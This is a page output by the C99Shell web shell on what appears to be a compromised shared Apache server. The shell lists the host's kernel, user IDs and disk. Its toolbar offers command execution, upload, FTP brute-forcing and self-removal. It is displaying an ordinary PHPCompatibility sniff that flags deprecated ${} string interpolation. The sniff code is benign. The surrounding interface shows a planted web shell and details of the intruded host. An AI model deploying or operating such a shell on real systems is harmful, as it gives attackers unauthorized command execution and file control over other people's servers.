!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/phpcompatibility/php-compatibility/PHPCompatibility/Sniffs/TextStrings/   drwxr-xr-x
Free 713.33 GB of 879.6 GB (81.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RemovedDollarBraceStringEmbedsSniff.php (4.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHPCompatibility, an external standard for PHP_CodeSniffer.
 *
 * @package   PHPCompatibility
 * @copyright 2012-2022 PHPCompatibility Contributors
 * @license   https://opensource.org/licenses/LGPL-3.0 LGPL3
 * @link      https://github.com/PHPCompatibility/PHPCompatibility
 */

namespace PHPCompatibility\Sniffs\TextStrings;

use PHPCompatibility\Helpers\ScannedCode;
use PHPCompatibility\Sniff;
use PHP_CodeSniffer\Files\File;
use PHPCSUtils\Utils\GetTokensAsString;
use PHPCSUtils\Utils\TextStrings;

/**
 * Detect use of select forms of variable embedding in heredocs and double strings as deprecated per PHP 8.2.
 *
 * > PHP allows embedding variables in strings with double-quotes (") and heredoc in various ways.
 * > 1. Directly embedding variables (`$foo`)
 * > 2. Braces outside the variable (`{$foo}`)
 * > 3. Braces after the dollar sign (`${foo}`)
 * > 4. Variable variables (`${expr}`, equivalent to `(string) ${expr}`)
 * >
 * > [...] to deprecate options 3 and 4 in PHP 8.2 and remove them in PHP 9.0.
 *
 * PHP version 8.2
 * PHP version 9.0
 *
 * @link https://wiki.php.net/rfc/deprecate_dollar_brace_string_interpolation
 *
 * @since 10.0.0
 */
final class RemovedDollarBraceStringEmbedsSniff extends Sniff
{

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @since 10.0.0
     *
     * @return array<int|string>
     */
    public function register()
    {
        return [
            \T_DOUBLE_QUOTED_STRING,
            \T_START_HEREDOC,
            \T_DOLLAR_OPEN_CURLY_BRACES,
        ];
    }

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @since 10.0.0
     *
     * @param \PHP_CodeSniffer\Files\File $phpcsFile The file being scanned.
     * @param int                         $stackPtr  The position of the current token in the
     *                                               stack passed in $tokens.
     *
     * @return void|int Void or a stack pointer to skip forward.
     */
    public function process(File $phpcsFile, $stackPtr)
    {
        if (ScannedCode::shouldRunOnOrAbove('8.2') === false) {
            return;
        }

        $tokens = $phpcsFile->getTokens();

        /*
         * Defensive coding, this code is not expected to ever actually be hit since PHPCS#3604
         * (included in 3.7.0), but _will_ be hit if a file containing a PHP 7.3 indented heredoc/nowdocs
         * is scanned with PHPCS on PHP < 7.3. People shouldn't do that, but hey, we can't stop them.
         */
        if ($tokens[$stackPtr]['code'] === \T_DOLLAR_OPEN_CURLY_BRACES) {
            // @codeCoverageIgnoreStart
            if ($tokens[($stackPtr - 1)]['code'] === \T_DOUBLE_QUOTED_STRING) {
                --$stackPtr;
            } else {
                // Throw an error anyway, though it won't be very informative.
                $message = 'Using ${} in strings is deprecated since PHP 8.2, use {$var} or {${expr}} instead.';
                $code    = 'DeprecatedDollarBraceEmbed';
                $phpcsFile->addWarning($message, $stackPtr, $code);
                return;
            }
            // @codeCoverageIgnoreEnd
        }

        $endOfString   = TextStrings::getEndOfCompleteTextString($phpcsFile, $stackPtr);
        $startOfString = $stackPtr;
        if ($tokens[$stackPtr]['code'] === \T_START_HEREDOC) {
            $startOfString = ($stackPtr + 1);
        }

        $contents = GetTokensAsString::normal($phpcsFile, $startOfString, $endOfString);
        if (\strpos($contents, '${') === false) {
            // No interpolation found or only interpolations which are still supported.
            return ($endOfString + 1);
        }

        $embeds = TextStrings::getEmbeds($contents);
        foreach ($embeds as $offset => $embed) {
            if (\strpos($embed, '${') !== 0) {
                continue;
            }

            // Figure out the stack pointer to throw the warning on.
            $errorPtr = $startOfString;
            $length   = 0;
            while (($length + $tokens[$errorPtr]['length']) < $offset) {
                $length += $tokens[$errorPtr]['length'];
                ++$errorPtr;
            }

            // Type 4.
            $message = 'Using %s (variable variables) in strings is deprecated since PHP 8.2, use {${expr}} instead.';
            $code    = 'DeprecatedExpressionSyntax';
            if (\preg_match('`^\$\{(?P<varname>[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]+)(?:\[([\'"])?[^\$\{\}\]]+(?:\2)?\])?\}$`', $embed) === 1) {
                // Type 3.
                $message = 'Using ${var} in strings is deprecated since PHP 8.2, use {$var} instead. Found: %s';
                $code    = 'DeprecatedVariableSyntax';
            }

            $phpcsFile->addWarning($message, $errorPtr, $code, [$embed]);

        }

        return ($endOfString + 1);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0248 ]--